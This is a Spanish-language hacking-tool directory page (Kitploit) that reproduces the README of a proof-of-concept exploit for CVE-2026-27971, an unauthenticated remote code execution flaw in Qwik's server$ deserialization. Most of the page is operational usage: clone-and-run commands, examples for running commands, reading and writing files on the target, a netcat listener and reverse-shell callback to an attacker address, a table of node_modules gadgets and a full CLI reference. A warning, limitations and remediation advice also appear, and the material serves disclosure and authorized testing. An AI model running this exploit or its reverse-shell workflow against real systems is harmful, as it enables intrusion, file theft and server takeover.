Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
Herramientas/GitHubGitHub/ghalendar/cve-2026-27971_poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

Ver Repositorio
5hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-27971 — PoC de RCE no autenticado en Qwik server$

[!WARNING] Este repositorio contiene una prueba de concepto activa de ejecución remota de código. Úsala únicamente contra sistemas que poseas o para los que tengas autorización explícita de prueba. El autor no asume responsabilidad alguna por usos no autorizados o daños.

Una prueba de concepto independiente en Python para CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, una vulnerabilidad de ejecución remota de código no autenticada en el mecanismo de deserialización RPC server$ de Qwik.

El PoC puede realizar una sonda activa de marcador, ejecutar comandos, leer o escribir archivos de texto y solicitar una reverse shell en objetivos Linux o Windows. Utiliza únicamente la biblioteca estándar de Python.

Resumen de la vulnerabilidad

Descargar herramienta
CampoValor
ProductoQwik — paquete npm @builder.io/qwik
Versiones afectadas<= 1.19.0
Versión parcheada1.19.1
VulnerabilidadEjecución remota de código no autenticada mediante deserialización insegura de server$
Condición de ejecuciónrequire() debe estar disponible en tiempo de ejecución
CWECWE-502 — Deserialización de datos no confiables
GravedadCrítica — CVSS 4.0: 9.2
VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Una solicitud application/qwik-json especialmente manipulada puede hacer referencia a un módulo del lado del servidor y a un símbolo exportado. Las versiones vulnerables de Qwik pueden resolver un QRL no registrado mediante require() en tiempo de ejecución e invocarlo sin autenticación. Este PoC intenta alcanzar una exportación de ejecución de procesos compatible ya presente en los node_modules del objetivo.

Requisitos

Operador:

  • Python 3.
  • Acceso de red a la ruta exacta de Qwik que procesa la solicitud server$/Qwik JSON.
  • Un listener alcanzable desde el objetivo al probar la funcionalidad de reverse shell.

Objetivo:

  • Un despliegue de Qwik vulnerable que utilice @builder.io/qwik <= 1.19.0.
  • Un entorno de ejecución donde require() esté disponible.
  • Un módulo gadget compatible y una exportación accesible en node_modules.
  • node disponible en el PATH del proceso del servicio.
  • Permisos suficientes de la cuenta de servicio para el comando o la operación de archivos solicitados.

No se requieren paquetes Python de terceros.

Inicio rápido

root@kitploit:~
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

Enumera los gadgets integrados sin enviar una solicitud:

root@kitploit:~
python3 exploit_combat.py --list-gadgets

Ejecuta una sonda activa de marcador y prueba todos los gadgets integrados:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe no es una detección pasiva de versiones. Intenta ejecutar código remoto y lo confirma imprimiendo un marcador desde el proceso del objetivo.

Ejemplos de uso

Ejecutar un comando:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

Leer un archivo de texto UTF-8:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

Escribir y verificar un archivo de texto UTF-8:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

Solicitar una reverse shell después de iniciar un listener persistente:

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

Forzar el payload de reverse shell para Windows cuando la detección automática del sistema operativo no sea adecuada:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

El script no inicia un listener. La verificación previa de --callback abre y cierra una conexión TCP separada antes de enviar el payload de shell, por lo que debes usar un listener que pueda aceptar más de una conexión.

Referencia de CLI

OpciónDescripción
-t URL, --target URLURL objetivo exacta. Predeterminado: http://localhost:3000. La ruta no se descubre automáticamente.
--probeEjecuta activamente un payload de marcador e intenta detectar el sistema operativo.
-c CMD, --CMD CMDEjecuta un comando mediante child_process.execSync() de Node.js.
--read PATHLee un archivo de texto UTF-8 usando fs.readFileSync().
--write PATH --content TEXTEscribe un archivo de texto, lo vuelve a leer y compara el resultado. No se crean directorios padre.
--list-gadgetsImprime los nombres de los gadgets integrados y sale sin realizar una solicitud de red.
--lhost IPHabilita el modo reverse shell y establece la dirección de callback.
--lport PORTEstablece el puerto de callback. Predeterminado: 4444.
--rev-allEnvía todas las variantes de reverse shell en lugar de detenerse después de la primera solicitud HTTP aceptada.
--callbackComprueba la accesibilidad TCP saliente antes de enviar un payload de reverse shell.
--OS {auto,linux,windows}Selecciona la familia de payloads de reverse shell. Predeterminado: auto.
--gadget SPECUsa auto, un nombre integrado o un <module>#<symbol> personalizado. Predeterminado: cross-spawn.sync.
--arg-style {argv,command,shell}Estilo de argumentos para un gadget <module>#<symbol> personalizado.
--timeout SECONDSTiempo de espera HTTP del cliente. Predeterminado: 30.
--verify-sslHabilita la verificación del certificado TLS y del nombre de host. La verificación está deshabilitada por defecto.

Los modos de acción no son mutuamente excluyentes en el analizador. Usa uno de --probe, --CMD, --read, --write o --lhost por invocación.

Gadgets integrados

NombreMódulo y exportaciónEstilo
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

--gadget auto prueba estos gadgets en el orden indicado. Se puede proporcionar un gadget personalizado de la siguiente manera:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

Limitaciones importantes

  • Una sonda negativa no es prueba de que el objetivo esté parcheado. Puede indicar una ruta incorrecta, un gadget ausente o incompatible, un error de red/TLS, filtrado o una distribución diferente del despliegue.
  • El gadget predeterminado es cross-spawn.sync, no un descubrimiento automático. Usa --gadget auto cuando se desconozca la distribución de dependencias del objetivo.
  • La herramienta no tiene opciones para cookies, cabeceras de autorización, proxies ni cabeceras personalizadas arbitrarias.
  • Las operaciones de archivos están orientadas a texto. --read espera UTF-8 y --write no está pensado para datos binarios.
  • Las rutas relativas se resuelven desde el directorio de trabajo del proceso de Qwik. Todas las operaciones se ejecutan con los permisos de la cuenta de servicio de Qwik.
  • Los mensajes de éxito de reverse shell indican que la solicitud HTTP del exploit fue aceptada; no demuestran que se haya recibido un callback.
  • --rev-all puede iniciar varios procesos o callbacks en el objetivo. Úsalo solo en un laboratorio aislado.
  • Los códigos de salida del proceso reflejan principalmente el manejo de la sonda y del transporte, no el estado de salida del comando remoto ni la presencia de una shell funcional.
  • La herramienta no identifica la versión de Qwik instalada y no debe usarse como sustituto del inventario de dependencias.

Remediación

Actualiza @builder.io/qwik a 1.19.1 o posterior, actualiza el lockfile, recompila la aplicación y vuelve a desplegar todos los artefactos del servidor. Eliminar únicamente un gadget compatible no es una solución completa para la vulnerabilidad subyacente de Qwik.

Referencias

  • Aviso de seguridad de Qwik — GHSA-p9x5-jp3h-96mm
  • Base de datos de avisos de GitHub — CVE-2026-27971
  • Lanzamiento de Qwik 1.19.1 parcheado
  • Commit de corrección en upstream
  • Registro CVE
  • Entrada de NVD

Aviso legal

Este proyecto se proporciona para investigación en seguridad, validación defensiva y pruebas autorizadas. No lo uses contra sistemas sin permiso explícito.